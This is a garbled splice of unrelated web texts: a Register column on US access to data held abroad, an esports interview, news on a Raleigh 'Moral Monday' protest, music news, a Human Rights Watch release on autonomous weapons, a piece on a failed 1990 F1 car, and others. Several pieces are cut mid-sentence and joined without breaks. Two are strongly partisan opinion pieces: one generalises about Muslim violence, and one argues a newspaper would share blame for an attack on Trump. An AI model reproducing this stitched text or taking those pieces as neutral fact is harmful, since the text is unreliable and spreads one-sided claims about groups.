Well, it shows the US courts are generally supportive of US government attempts to get access to data held by US companies outside the country. The formal mutual legal assistance treaties are considered a cumbersome process which the American government would prefer to avoid where possible.
The EU data protection laws appear not to be able to prevent this type of access. US providers, mindful of the damage the US government is inflicting on their non-US business interests are willing to fight to stop the release of the data.
New attempt to restrict access to data
Microsoft and others are supporting a new draft law, the Law Enforcement Access to Data Stored Abroad Act (PDF). This is aimed at ensuring the US government respects an individual’s privacy, global borders and those laborious treaties. We wait to see whether this law will be passed, but it certainly shows the debate continues over protection of privacy on the one hand and access to data on the other. Here's Microsoft's comment on LEADs.
What can a UK customer do?
A UK customer could take the view that the US government accessing its data is not a cause for concern. Alternatively, if a UK customer wants to make it harder for the US government to get access to its data, it must encrypt the data and remove every single US company from its IT cloud and data supply chains. Doing this, of course, will not prevent GCHQ from getting access to data held in the UK. As Snowden revealed, GCHQ has been sharing data with NSA via its Tempora programme.
There is an alternative: the Russian and German governments have recently invested in typewriters following the Snowden revelations, but I’m not sure that's really going to catch on. ®This was supposed to be the "Golden Age." CLG entered the split, as they have before, flying on the wings of hope. With CLG re-energized at every position, having the sharpest early game in the NA LCS, fans finally dared to hope that maybe, just maybe, Yiliang "Doublelift" Peng and the rest of his team would earn the trophy that's eluded them for years. But things didn't go as planned. The weaknesses identified at the start of the split never went away, and as teams leveled up their game going into playoffs, CLG was left behind once again. The team finished a disappointing 5/6th after a crushing 3–0 defeat at the hands of Team Liquid and playoff nemesis Xpecial. CLG fans are back to where they started: wondering what it'll take to finally get it right.
I spoke to Doublelift at LCS on Sunday after the games, and he spoke very candidly about his personal feelings about his split, the failings of the Counter Logic Gaming organization, their problems as a team, and where they go from here.
First off, it's been a week since the games. How are you feeling; what's your mental state these days?
Feeling pretty bad still. It's really disappointing, you know, 'cause I think we had a pretty average split. A regular split. Even though we were tied for first and second place the entire time, it didn't feel like we were improving too much, and I was always really frustrated with that fact. When we lost at playoffs, I knew I didn't act quick enough, or there was some sort of failure within the organization. It was really obvious to me really quickly that we weren't improving enough, and again, it's just an entire several months of work that I put in – that everyone put in – that kinda went down the drain and didn't end in any good results. Still pretty frustrated, and trying to consider what kind of changes I need to make, or the team needs to make.
You say you weren't improving throughout the split, but right up until the end of the split you were up at the top of the rankings – a lot of people were ranking you as a top 2 team NA. What do you think you needed to have been improving on internally that you weren't able to get figured out?
Well, our ability to beat top teams was pretty abysmal. We were 0–2 TSM, 1–1 C9, 0–2 TL, 1–1 TiP; that's not a good winrate. Especially going 0–2 vs TSM and TL, is just really really bad. You come into the split really strong, and you're able to beat all the bottom teams and none of the top teams, and that's just really frustrating. Because in the end, you have to beat ALL of the teams to be first and make Worlds. So I would just say that it was really obvious to me at the time. I was like, “Why can't we beat these top teams?” There was some kind of failure going on with leadership, and changes need to be made, but they just weren't made quick enough. I think we got really really happy, like overly happy, with beating teams we should be expected to beat. In my opinion, that's like being congratulated for putting gas in your car, or eating breakfast, it's pretty normal. You should be able to beat these teams on a daily basis easily. If you want to be a top team that shouldn't be a surprise. That should be an expectation.
Going into this season, CLG really talked about how they wanted to have 5 players who all got along with each other and would be able to work through difficulties and not start to hate each other. What was the environment in the CLG practice house like once you guys started to struggle?
The environment's pretty good actually. I think we succeeded in that goal, in having 5 players who work well outside the game and are able to talk and sort out differences. Still, we're not all best-friends-holding-hands day-to-day but we can talk to each other pretty easily, and it seems like a positive environment. I think the change that also would've worked, other than doing that, would've been to get a coach. A coach is there to make sure your relationships are fine regardless of whether or not |
More Meatless Soups to Love:
Coconut Curry Soup w/ Sweet Potato Noodles
Quinoa Vegetable Soup
Vegan Broccoli Cheese SoupRecorded Webcast - Haystax presents: Advanced Analytic Techniques for Insider Threat Detection
From January 21, 2015
Insiders are one of the top categories of data breaches according to recent reports by the FBI, Forrester Research and Verizon. In just the last year, high profile data breaches at Target, AT&T, and Morgan Stanley show that no organization is immune and all organizations must take steps to identify and protect themselves from insider threats.
In this webinar Haystax describes an analytic approach that enables the continuous risk monitoring of insider threat based on the fusion of high and low frequency entity-related events via temporal relevance models and a probabilistic risk model. Haystax begins by providing an overview of their approach and the challenges faced when integrating events of widely disparate frequency. Next, they describe two forms of event temporal relevance they use to enable the model to fuse infrequent events (e.g. public records life events) with high frequency events (e.g. network activity). Finally, Haystax describes how they've used Franz's Allegro Common Lisp, Allegro Prolog, and AllegroGraph, with Norsys Netica to create a practical implementation of our analytic approach suitable for practical use.
The webcast noted above is a complimentary presentation to Haystax's paper presented at STIDS (Semantic Technology for Intelligence, Defese, and Security).
Download the STIDS paper
Download the STIDS presentation.
View a recording of this webcast here - 53 min.
Download the webcast presentation slides hereSecond Wave of Round Two Interview Invites Dispatched
On Friday, January 22, we extended our final batch of interview invitations for Round 2. We’ve been thrilled to see the strong interest in coming to campus for interviews. We reserved some on-campus interview slots for this final batch of invitees and are looking into adding spots to accommodate the high demand from the first wave.
We’re glad that on-campus interviews didn’t start this week as much of the US East Coast is expected to be snowed in. Meanwhile, in Ann Arbor, it’s chilly but still green. (Here’s the view from my window).
If you did not receive an invitation, it means you will be waitlisted or denied. We will not “release” applicants before our notification date (March 18) as your app will undergo further review to determine whether you will be placed on the waitlist or denied. See my blog post from Round 1 for more on this.
The team has been really excited about the strength of our applicants so far. We can’t wait to learn more!Gov.-elect Pat McCrory smiles prior to being sworn in as North Carolina's 74th governor in the House chamber of the old Capitol building in Raleigh, N.C., Saturday, Jan. 5, 2013. McCrory, a Republican and the former mayor of Charlotte, replaces outgoing Democratic Gov. Bev Perdue to become governor a week before the public inauguration. (AP Photo/Gerry Broome, Pool)
RALEIGH -- The governor's administration was unable to keep demonstrators off state Capitol grounds on Monday despite an attempt to deny the group a permit to assemble there.
Judge Allen Baddour presided over a Wake County Superior Court hearing on Monday in which he overturned an administrative decision to confine the demonstrators to Halifax Mall, a big grassy area enclosed by state office and legislative buildings.
The hearing was held hours before an evening rally organized by the NAACP state chapter president Rev. William Barber II and others opposed to new policies and laws adopted this summer by the Republican-led General Assembly.
The NAACP and other groups have asked Gov. Pat McCrory, a Republican from Mecklenburg County, to convene a special legislative session to rescind 2013 decisions to reject a federally funded Medicaid expansion and cut programs for North Carolina's poor.
To underscore the argument, Barber brought hundreds of protesters to Halifax Mall. An NAACP spokesman put the count as high as 2,500; State Capitol Police estimated that about 500 people took part.
The crowd gathered under a blanket of clouds that didn't so much threaten rain as continuously dump it, the protesters a growing cluster of umbrellas around Barber's peaked white tent.
The first "Moral Monday" event held in Raleigh since the summer offered Barber a chance to rekindle the movement. He promised that 2014 would be a fighting year, and he outlined plans to legally challenge state government, document the effects of new policies on individual people, and push McCrory further on a few issues.
"If you think we fought in 2013, you ought to see how we fight in an election year... you haven't seen a fight," he said.
As gray skies darkened, the crowd left the mall in a line two, three and four people wide. The line eventually stretched almost a half-mile from the legislative lawn to the Christmas tree near the steps of the old N.C. State Capitol.
There Barber and other speakers led the crowd in hymns and gave Christmas-themed sermons on state politics before the huge, brilliantly decorated tree. It was "hypocrisy," Barber said by megaphone, for McCrory to have lit the tree weeks earlier while enacting "unmerciful" policies.
'The people's space'
Besides becoming a point in Barber's speech, McCrory's tree lighting also was part of the court argument that won the NAACP its right to assemble on the grounds. In court on Monday morning, Scott Holmes, a longtime Durham-based and director of The Civil Litigation Law Clinic at N.C. Central University, told the judge that people have long gathered at the state capitol for a variety of activities.
"The state cannot stand up and say, in good faith, that hundreds of people cannot gather," Holmes argued to Baddour. "If the people of North Carolina cannot go to the state Capitol after work to pray, where can they go?... It is the people's space, it is a public space, and therefore we have a right to go there."
Donald Teeter Sr., a special deputy attorney general, argued that the administration needed some discretion in deciding which permits to issue. Typically, Teeter said, the administration works to limit gatherings on the capitol grounds to a paved area that accommodates about 100 people.
As part of the permit application process, the administration seeks information from groups about their plans for the grounds.
On rainy days, Teeter added, a large crowd could leave behind a sloshy mess.
Baddour asked what would happen if a group stated it planned to have 100 people at a rally or demonstration and more showed up.
Teeter had no quick response.
Baddour pointed out that Halifax Mall, like the Capitol grounds, is a grassy area that also could become a muddy mess on a rainy day. He added that whether the group that was gathered had a permit or not, the damage likely would be the same.
"It's the actions that control how the grounds are used, and not the speech," Baddour said. "The difference here is speech. A concern the court has is whether that's discretionary."
Administration decries protest
McCrory spokesman Rick Martinez on Monday criticized the protesters and said that the administration offered a better chance for the impoverished.
"These are the same left-wing political groups that are wanting to keep the failed policies of the past that put people out of work," Martinez told Associated Press.
"Instead, Gov.McCrory is working to strengthen the economy so more North Carolinians can earn a paycheck instead of hoping for a government check," he said.
McCrory had been invited to join the crowd, Barber said, but was not seen. Those who did attend, though, included a mix of Moral Monday fixtures and first-time attendees.
The "Raging Grannies," who were a regular sight over the summer protests, were out again in their floral hats. They knew they'd come, but some weren't so sure about the rest of the crowd.
"I was thinking, oh, maybe the rain will keep people home.... I was just hoping it would pick up where we left off," said Christine Carlson, 71, a retired bus driver living in Carrboro.
"The rain doesn't usually keep people from Christmas shopping. This is just as important to us," said Ruth Gibson, 66, a retired minister living in Chapel Hill.
Casey Aldridge, 19, made the trip from UNC-Charlotte. He'd attended a Monday protest there, but he'd long waited to get to Raleigh. "You weren't at the seat of power (in Charlotte)," said the political science major, who came with the N.C. Student Power Union.
Ruth Wood, 64, also was a first-timer. The North Carolina native watched the movement from New Mexico through social media, her son and the national news.
"We were so proud," she said, to see her son arrested for civil disobedience.
For Natalie Bullock Brown, 44, the return of "Moral Monday" to Raleigh opened another outlet for her growing advocacy.
"I've always had an activist instinct, but I've not always known exactly what to do with it," said Brown, who teaches film at Saint Augustine's University.
In the coming weeks, the NAACP will look for a lot more people like her. It has renamed its signature Raleigh event, the Historic Thousands on Jones Street march, to include the words "Moral Monday" in its title. The march will return to Raleigh in February.
Blythe: 919-836-4948; Twitter: @AnneBlythe1
___
(c)2013 The News & Observer (Raleigh, N.C.)
Visit The News & Observer (Raleigh, N.C.) at www.newsobserver.comOn their way to Bonnaroo, the members of Pearl Jam made a pit stop in neighboring Nashville to visit their ol’ friend Jack White. The grunge titans played an intimate warm-up gig inside the Blue Room of White’s Third Man Records studios, and Eddie Vedder recorded a solo song inside Third Man’s Voice-O-Graph booth. Naturally, the staff of Third Man was on hand to capture the day’s events and will be sharing these recordings as part of the latest installment of its Vault subscription series.
As previously reported, Pearl Jam’s Blue Room set kicked off with a cover of Pink Floyd’s “Interstellar Overdrive” before the band segued into “Corduroy”, “Pendulum”, and “Deep”. For the encore, White joined Pearl Jam on stage for “Of the Earth”, complete with dueling guitar solos from Mike McCready and White. Performances of “Hard to Imagine” and “Let Me Sleep” closed the show.
The package includes a black-and-gold, split-colored vinyl version of Pearl Jam’s set, recorded live direct-to-acetate and packaged in a custom jacket. Meanwhile, Vedder’s “arresting, solo acoustic song”, recorded the following afternoon in the Voice-o-Graph, has been pressed on clear transparent vinyl. The package also includes a hardcover photo book featuring photos of the evening taken by Jamie Goodsell.
Members of Pearl Jam’s own Ten Club will receive a coupon code entitling them to $15 off the cost of the package. Click here for more info.Muslim Man Shouting 'Allahu Akbar' Throws An Elderly Jewish Woman From A Window To Her Death. French Police Refuse To Call It A Hate Crime.
June 14, 2017
French police are refusing to call a self-evidently anti-Jewish attack a hate crime, raising questions about France’s disturbing tolerance of Muslim violence. Indeed, the French media appears complicit in a coordinated campaign to downplay the anti-Semitic hallmarks of an April 4 attack, in which a young Muslim man, praising Allah, threw an elderly Jewish woman out of her apartment window.
“Before he threw Sarah Halimi to her death from a window of her third-story apartment in Paris, 27-year-old Kobili Traore called his Jewish neighbor ‘Satan’ and cried out for Allah,” The Jerusalem Post. “Years before the attack, Traore called a daughter of his 65-year-old victim, whom he beat savagely before killing, ‘a dirty Jewess,’ the daughter said.” “Before he threw Sarah Halimi to her death from a window of her third-story apartment in Paris, 27-year-old Kobili Traore called his Jewish neighbor ‘Satan’ and cried out for Allah,” reports The Jerusalem Post. “Years before the attack, Traore called a daughter of his 65-year-old victim, whom he beat savagely before killing, ‘a dirty Jewess,’ the daughter said.”
All evidence points to the fact that Halimi’s brutal murder was motivated by Islamist-inspired anti-Semitism. This was a hate crime against Jews, pure and simple. But French authorities have shied away from labeling the crime as such.
“Prosecutors presented a draft indictment against [Traore] for voluntary manslaughter that contains no mention of the aggravated element of a hate crime,” notes The Jerusalem Post.
The state’s unwillingness to acknowledge the anti-Semitic overtones of the attack has rattled France’s Jewish community, a minority group that has long felt under by the rising tide of anti-Semitic hate crimes carried out by second-generation and immigrant Muslim populations as well as far-right ethno-nationalist groups.
Halimi’s murder, and France’s collective shrug, underlines the forgotten plight of the French Republic’s marginalized Jewry.
With documentaries about the strong correlation between anti-Semitism and Muslim migration into Europe canceled over concerns about the topic being “ With documentaries about the strong correlation between anti-Semitism and Muslim migration into Europe canceled over concerns about the topic being “ very sensitive,” the concerted effort to suppress the reality of Jewish life in Paris and other supposedly enlightened metropolitan meccas is amplifying voices calling for Jews to leave France for greener, less hostile pastures in Israel or the United States.
Most Jews have stayed put, though, fortifying their very existence with security precautions and major lifestyle changes.
From the exodus of Jewish students leaving public schools due to discrimination and hostility to the employment of robust private security forces patrolling Jewish schools and synagogues, France’s Jewry is under assault and nobody seems to care.Forget Harold and Maude. How about Kyle and Marjorie?
Kyle Jones from Pittsburgh is a 31-year-old man with an untraditional romantic leaning towards older women -- much older women.
In 2009, Jones met 91-year-old Marjorie McCool at the book store where she worked. The two have engaged in a romantic, physical relationship ever since, and are happily dating as each brings something unique to the relationship.
At three times Jones' age, McCool is already a great grandmother, but Jones finds her lines, wrinkles, platinum hair and natural hanging neck skin attractive. Jones says he offers older women a different kind of experience than they're used to with adventure and funs things to do.
Likewise, McCool says dating somebody younger makes her feel alive again. "The physical side of the relationship is wonderful. I amaze myself and he amazes me, and I like it," says McCool in the video above.
Jones first noticed his attraction towards older women at a young age and though it took his mother, Ceceila Jones, some getting used to, she ultimately accepts her son's lifestyle. McCool is also a mother and says she sometimes feels like Jones is just another one of her children.
"I sometimes feel like he's another son, until we hop in bed. Then I feel different."
The two lovebirds are not monogamous, and Jones is also engaged in a relationship with 68-year-old Anna Ronald, who he met on a dating site.
They like to smooch, loudly.
Jones has encountered criticism, but defends his choices. "The most common [criticism] is that I'm a vulture," says Jones. "You're after money, you're after inheritance. I hear that all the time, but it's not true at all. I do this because I like it and they like it too."In the months leading up to the election of Barack Obama as president, Sean Hannity frequently exclaimed, “Journalism died in 2008,” citing the “Obama mania media” that proclaimed the far-left radical to be America’s political messiah.
Fast-forward eight years. If journalism died in 2008, then during the 2016 election cycle it has sprung back to life – “Walking Dead”-style – with crazed pseudo-journalists staggering around, flailing their arms, making ghastly noises and attempting to destroy Donald Trump and his supporters in a wild orgy of grisly attacks.
Case in point: The Washington Post.
It started last February when Post columnist Danielle Allen threw down the gauntlet with a widely cited article dramatically headlined, “The moment of truth: We must stop Trump.”
Naturally, she went directly to the Hitler comparison.
“Like any number of us raised in the late 20th century,” Allen wrote, “I have spent my life perplexed about exactly how Hitler could have come to power in Germany. Watching Donald Trump’s rise, I now understand. Leave aside whether a direct comparison of Trump to Hitler is accurate. That is not my point. My point rather is about how a demagogic opportunist can exploit a divided country.”
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But the Post was just warming up.
On June 14, the newspaper featured left-leaning historian Eric Rauchway in an article maligning Trump’s “America First” theme. It was headlined, “Donald Trump’s new favorite slogan was invented for Nazi sympathizers.”
Trump, explained Rauchway …
has made this slogan a theme for his campaign, and he has begun using it to contrast himself with President Obama, whose criticism of Trump’s rhetoric on Tuesday was answered with a Trump statement promising, “When I am president, it will always be America first.” He wasn’t quite promising “America über alles,” but it comes close. “America First” was the motto of Nazi-friendly Americans in the 1930s, and Trump has more than just a catchphrase in common with them.
Allow me to summarize: Since Trump is making “America First” one of his themes, he is Hitler. Any questions?
Get David Kupelian’s culture-war blockbusters: “The Marketing of Evil,” “How Evil Works” and his latest, “The Snapping of the American Mind” – signed and personalized – at the WND Superstore.
A month later, on July 25, the Post published a piece by Peter Ross Range, a longtime mainstream newsmagazine writer, titled “The theory of political leadership that Donald Trump shares with Adolf Hitler.”
“Hitler,” wrote Range, who authored the book “1924: The Year That Made Hitler,” “saw himself as singularly endowed to avert Armageddon and reach national greatness.”
He expounds on this theme and applies it to Trump:
For Hitler, there was no middle ground between the “total downfall” threatening Germany at the hands of a Jewish-Bolshevik world conspiracy and his vision of a renewed German glory – a vision of an instant “leap from despair to utopia,” as historian Fritz Stern put it. Trump, too, posits a pending American cataclysm that can be averted only through his election, which will lead directly to reclaimed greatness. … Trump speaks as though on a mountaintop, holding carved tablets, when he says: “I am your voice.” Hitler climbed to the mountaintop in the very first paragraph of “Mein Kampf.” In his opening words, he invoked Providence to describe the moment and place of his birth. Providence, frequently cited, was Hitler’s surrogate for God throughout the more than 700-page book. “Personality” was his euphemism for the characteristics that mark the Great Man. “Personality cannot be replaced,” Hitler wrote. “It is not mechanically trained, but inborn by God’s grace.” This is the core of a messianic complex and the central pillar of the Führer myth – that Hitler was born with the magic wand. By shifting to the magical realism of God-given prescience, Hitler made it easier for people to discard skepticism, shelve their demands for actual solutions and excuse all of the coarseness they saw in the candidate. If this guy has the secret potion – he says he does! – I’m going with him. So with Trump. After conjuring a nation in utter peril last week and blithely announcing the end of crime and violence was at hand next Jan. 20, he gave doubters the final push they might need to suspend disbelief and take the leap: “I alone can fix it.” Although Trump may know nothing of Hitler’s techniques, his instincts are uncannily reminiscent of them. As in the 1930s, voters are invited into Wonderland, and desperate ones might feel the urge to go.
Again, to summarize Range’s erudite analysis: Donald Trump is very confident in his abilities to get big things done – a confidence based solely on his half-century of experience in getting big things done. Ergo, Trump equals Hitler.
Then there was author and essayist Shalom Auslander, whose Sept. 13 Washington Post column was headlined: “Don’t compare Donald Trump to Adolf Hitler. It belittles Hitler.” His subtitle:
“One was a psychopath who believed his raving rants. The other is a con man.”
“If you absolutely had to find just one thing to say about Hitler that was positive,” writes Auslander, “– if you could somehow siphon out all the festering, maggot-infested sewage that filled his soul to reveal one razor-thin sliver to point to in his favor – you could possibly say, well, at least he believed what he said. Which you can’t say about Donald Trump.”
Oh well, at least Trump isn’t a psychopath, just a con man, right? I mean, that’s what the headline said. Except that later in his column, Asulander concludes: “Is Trump a megalomaniacal demagogue? Yes. Is he a sociopath? Undoubtedly. Is he dangerous? Maybe.”
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A week later, on Sept. 19, the Post published a controversial article by Richard Cohen, a weekly political columnist who has been with the paper for almost five decades, since 1968. It bore the chilling headline, “Trump’s Hitlerian disregard for the truth.”
“While Trump is neither an anti-Semite nor does he have designs on neighboring countries,” Cohen magnanimously allows, “he is Hitlerian in his thinking. He thinks the truth is what he says it is.”
Come again?
“Soon after becoming chancellor,” explains the veteran Post commentator, “Hitler announced that the Jews had declared war on Germany. It was a preposterous statement because Jews were less than 1 percent of Germany’s population and had neither the numbers nor the power to make war on anything. In fact, in sheer preposterousness, it compares to Trump’s insistence that Barack Obama was not born in the United States – a position he tenaciously held even after Obama released his Hawaiian birth certificate.”
Wow. Speaking of “sheer preposterousness,” just how preposterous is it to equate Hitler’s scapegoating and eventual mass murder of millions of innocent Jews with Trump’s questioning of Barack Obama’s birthplace and constitutional eligibility to serve as president?
“Germany was not some weird place,” Cohen assures us. “At the advent of the Hitler era, it was a democracy, an advanced nation, culturally rich and scientifically advanced. It had a unique history – its defeat in World War I, the hyperinflation of the 1920s – so it cannot easily be likened to the contemporary United States. But it was not all that different, either. In 1933, it chose a sociopathic liar as its leader. If the polls are to be believed, we may do the same.”
There you have it. Hitler murdered millions; Trump questioned Obama’s natural-born citizenship. Obviously, Trump equals Hitler.
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But what about the crematoria, mass graves and ‘horrible medical experiments’?
What can one say to a newspaper that repeatedly compares a gutsy, outspoken billionaire businessman-turned-presidential candidate to a mass-murdering monster?
Jewish blogger Jeff Dunetz offered a powerful response titled “September is ‘Trump is Hitler Month’ at the Washington Post.” Here’s how Dunetz, who serves as editor and publisher of The Lid, and also writes for the Jewish Star, TruthRevolt, Breitbart and others, answered the Post’s fixation with likening Donald Trump to one of the most hated and evil men in history.
“Allow me to explain the only cases where comparisons between Donald Trump and the Holocaust are appropriate,” wrote Dunetz:
The reference would be appropriate if Donald Trump forced people to tattoo numbers on their arms. Hitler chose that method of identifying the Jews because tattooing is prohibited in the Jewish faith. (He didn’t realize that people couldn’t be punished for forced tattooing.) Either way, if Trump never forced people to tattoo numbers on their arms, then he probably isn’t Hitler. If Trump murdered people, cremated their remains and buried them in mass graves, the analogy would make sense. I never met some of my family because the Nazis killed them, buried them in mass graves, and/or cremated their bodies. If Trump never killed, cremated and buried people in mass graves, then the Hitler comparison is probably not accurate. Hitler wrote a book called “Mein Kampf” in which he spoke of his hatred toward Jews and previewed his “final solution”: “The black-haired Jewish youth lies in wait for hours on end, satanically glaring at and spying on the unsuspicious girl whom he plans to seduce, adulterating her blood and removing her from the bosom of her own people. The Jew uses every possible means to undermine the racial foundations of a subjugated people … the personification of the devil as the symbol of all evil assumes the living shape of the Jew. … And so he [the Jew] advances on his fatal road until another force comes forth to oppose him, and in a mighty struggle hurls the heaven-stormer back to Lucifer. … Hence today I believe that I am acting in accordance with the will of the Almighty Creator: ‘by defending myself against the Jew, I am fighting for the work of the Lord.'” … [I read] “The Art of the Deal,” which contained no anti-Semitism, nor did it foreshadow a mass genocide of any group. If any of the other books [by Trump] contained quotes such as the ones by Hitler above which talked about the destruction of one group, I guarantee you that they would have been fodder during the primary season. Therefore, since Trump never wrote a book about destroying a race or ethnic group, it isn’t realistic to call him Hitler. The Nazis conducted horrible, painful medical experimentation on humans. Perhaps the most well-known of these were the experiments that Josef Mengele conducted on twins and other victims at Auschwitz, through which he hoped to prove the superiority of the Aryan race. He experimented on over 1,500 pairs of twins and other Jews and Gypsies, injecting dye into their eyes blinding them, or chloroform into their hearts killing them, sewing twins together trying to create conjoined twins, forcing them into freezing water, and other experiments too horrible to mention. Did Donald Trump authorize horrible medical experimentation on people like Mengele did? If he was doing that, believe me it would be on the front page of the Washington Post. Therefore, unless the Post is covering up the experimentation, he is not like Hitler. … And what of the camps? Does Donald Trump round up people he doesn’t like, force them into box cars like cattle and deliver them to concentration camps? Because if he did, I would be the first to compare him to Hitler. … Until there is evidence of the above, any comparison of Donald Trump to Hitler and/or the Nazis is not only false, inappropriate, and an example of careless writing. It also cheapens the memory of my relatives and the families of other the people who suffered during the Holocaust at the hands of Hitler.
After thus chastising the Post, Dunetz expresses what, to all decent people, is the obvious and overriding truth of the matter: “If you do decide to call [Trump] names, leave the Holocaust out of it. An inappropriate reference to the Holocaust is a disservice to your readers, and more importantly, a disservice to the memory of the suffering of the real victims of the real Hitler.”
The Washington Post has fallen a long way since its legendary Watergate coverage in the 1970s, when a couple of young reporters named Woodward and Bernstein brought down a corrupt president and “All the President’s Men” inspired a generation of young people to enter journalism. Newsflash: The Clintons are far more corrupt than Richard Nixon ever was.
One final consideration. There were at least 16 different plots to assassinate Adolf Hitler, including most famously “Operation Valkyrie” (the so-called “20 July Plot”), which was made into a blockbuster movie starring Tom Cruise as the heroic German army officer, Col. Claus von Stauffenberg. Even the revered Lutheran pastor and theologian, Dietrich Bonhoeffer, was executed by German authorities for his role in this particular plot. The people who attempted to assassinate Hitler – to slay a psychopathic monster, to stop a genocide, to end a terrible war – are rightly regarded as patriots and heroes.
So, what does this say about the Washington Post – and others in the “mainstream media” who consider themselves America’s arbiters of truth – continually comparing Republican presidential candidate Donald Trump with Hitler? Does such “journalism” legitimize threats and violent attacks on Trump and his supporters?
If someone, God forbid – convinced he is a modern-day von Stauffenberg, heroically attempting to rid the world of this generation’s Hitler – were to shoot Donald Trump, would the Washington Post deserve any of the blame?
I say yes.
Get David Kupelian’s culture-war blockbusters: “The Marketing of Evil,” “How Evil Works” and his latest, “The Snapping of the American Mind” – signed and personalized – at the WND Superstore.Photo via Arcade Fire Tube's Twitter
Today, Arcade Fire and the Preservation Hall Jazz Band paid tribute to David Bowie with a parade through the streets of New Orleans. The official Facebook page for the event—which was called "Pretty Things" (for the Hunky Dory track "Oh! You Pretty Things")— instructed attendees to wear their "best Bowie outfit or something more strange." Watch some clips from the parade below, including Arcade Fire's Win Butler and Régine Chassagne singing "Oh! You Pretty Things," via Stereogum and Arcade Fire Tube. Update (1/16, 9:19 p.m., EST): Watch Arcade Fire lead a rendition of Bowie's "Heroes" below, via Arcade Fire Tube. Update (1/17 10:07 a.m.): They also played "Fame"; watch that below, too.
Earlier this week, Win Butler issued a statement on Bowie's death. "I will take to the grave the moments we shared;" he wrote, "talking, playing music and collaborating as some of the most profound and memorable moments of my life."(Geneva) – An agreement on November 15, 2013, to begin international discussions on fully autonomous robot weapons is the beginning of a process that should conclude in a treaty banning these weapons, Human Rights Watch said today. Governments attending a weapons meeting in Geneva have agreed to begin international discussions in May 2014 on these weapons, which would select and engage targets without further human intervention.
“The decision to begin international discussions next year is a major leap forward for efforts to ban killer robots pre-emptively,” said Steve Goose, arms director at Human Rights Watch, a co-founder of the Campaign to Stop Killer Robots. “Governments have recognized that fully autonomous weapons raise serious legal and ethical concerns, and that urgent action is needed.”
Governments that are part of the Convention on Conventional Weapons (CCW) agreed to convene in Geneva on May 13-16 to discuss the issues related to “lethal autonomous weapons systems,” also known as fully autonomous weapons or killer robots. These weapons have not yet been developed, but technology is moving rapidly toward increasing autonomy.
The Convention on Conventional Weapons has been ratified by 117 countries, including those known to be advanced in autonomous weaponry: the United States, China, Israel, Russia, South Korea, and the United Kingdom. Adopted in 1980, this framework convention contains five protocols, including Protocol I prohibiting fragments which are not detectable by X-rays in the human body, Protocol III, prohibiting the use of air-dropped incendiary weapons in populated areas, and Protocol IV, which pre-emptively banned blinding lasers.
“A future Protocol VI prohibiting fully autonomous weapons would be the most important achievement in the life of the Convention on Conventional Weapons,” Goose said. “We urge governments to work swiftly to establish a requirement of meaningful human control over targeting and attack decisions.”
Other forums should urgently address fully autonomous weapons, Human Rights Watch said. The mandate to begin work on “lethal autonomous weapons systems” is broad enough to discuss the range of issues surrounding development, production, and use of fully autonomous weapons, including legal, technical, ethical, societal, humanitarian, and proliferation aspects.
The agreement to begin an international process on these weapons comes a year after Human Rights Watch and the Harvard Law School International Human Rights Clinic released “Losing Humanity: The Case against Killer Robots,” the first report to comprehensively outline concerns about these weapons and call for a pre-emptive ban. It comes seven months after the start of the Campaign to Stop Killer Robots, a global coalition of 45 nongovernmental organizations in 22 countries coordinated by Mary Wareham of Human Rights Watch.
In recent months, fully autonomous weapons have gone from an obscure issue to one that is commanding worldwide attention. Since May, more than 40 countries have spoken publicly on fully autonomous weapons, including Algeria, Argentina, Australia, Austria, Belarus, Belgium, Brazil, Canada, China, Costa Rica, Cuba, Ecuador, Egypt, France, Germany, Ghana, Greece, Holy See, India, Indonesia, Iran, Ireland, Israel, Italy, Japan, Lithuania, Madagascar, Mexico, Morocco, Netherlands, New Zealand, Pakistan, Russia, Sierra Leone, Spain, South Africa, South Korea, Sweden, Switzerland, Turkey, Ukraine, United Kingdom, and the United States. All countries that have spoken out have expressed interest and concern at the challenges and dangers posed by fully autonomous weapons.
“The issue of fully autonomous weapons is moving at a breakneck pace in the world of diplomacy and disarmament,” Goose said. “The race to stop killer robots reflects the degree to which the public views such a development with horror and revulsion.”
The agreement to begin international work will be likely to accelerate the development of national policies on fully autonomous weapons, Human Rights Watch said. The United States is the only country with a written policy in place. A Defense Department directive issued on November 21, 2012, requires that, for now, a human must be “in-the-loop” when decisions are made about using lethal force, unless department officials waive the policy at a high level.
The US policy directive, while positive, is not a comprehensive or permanent solution to the potential problems posed by fully autonomous systems, Human Rights Watch said. The policy of self-restraint it embraces may also be hard to sustain if other countries begin to deploy fully autonomous weapons systems.The Life L190* – in all probability the worst F1 car ever – will be demonstrated by Derek Bell at this year’s Goodwood Festival of Speed.
The W12-engined car failed to progress beyond pre-qualifying in 14 attempts in 1990, and was typically around 20 seconds off the pace at most tracks.
It will take a place alongside some of the greatest Formula 1 cars ever, including the McLaren-Honda MP4/4, which won 15 out of 16 races in 1988.
The Life L190
Life’s Grand Prix effort in 1990 came about following the failed attempt of F3000 outfit FIRST to make the F1 grid in 1989.
Having failed to raise the money to compete FIRST sold its cars to Life Racing Engines, run by Italian Ernesto Vita. He was developing an engine created by Franco Rocchi, a former Ferrari engineer who had built a power unit around the unconventional W12 layout.
In fact, Rocchi’s engine was not a ‘true’ W-configuration, which has four banks of cylinders, as in the modern Bugatti Veyron. Life’s faux-W12 had three banks of four cylinders, two in V-formation and a third horizontal bank nestled in between.
In theory it would offer the power of a twelve-cylinder engine while using no more space than a conventional V8. But even in the days following the banning of turbo-chargers, when the field switched to normally-aspirated engines en masse, no team was interested in running Life’s radical power plants.
So the team bolted it into the old FIRST chassis – not the work of a moment, the car had to undergo considerable modifications to shoehorn the W12 in – and showed up at the first round of 1990 in Phoenix, America.
40mph slower than anything
Reigning British F3000 champion Gary Brabham was picked as a driver, though he would not get to do much driving. The ignition box failed on car number 39 after three laps of pre-qualifying, barely enough time to get heat in the tyres. Not that the team had brought any tyre temperature gauges anyway, or, for that matter, spare ignition boxes, so their weekend was over.
At Brazil the car threw a connecting rod shortly after leaving the pits. Brabham failed to complete a lap, and wisely chose not to waste any more time with the team. Italian veteran Bruno Giacomelli took his place.
On the few occasions Giacomelli managed to coax a time out of the L190, it showed lamentable performance. At Silverstone it failed to pre-qualify by 19 seconds. The Formula Three cars which were also competing that weekend were only three seconds slower. That was the car’s strongest showing.
The long straights of the Hockenheimring brutally exposed the car’s power deficit. It was around 64kph (40mph) slower through the speed traps than any other car. Estimates placed the Life W12’s power output at around 375bhp, around half of that enjoyed by the McLaren-Hondas.
They later abandoned the W12 for a more conventional Judd V8. Efforts to remould the bodywork around this new engine were not entirely successful – the new engine cover flew off the car on its |
ales again, closes his eyes and squeezes his hands.
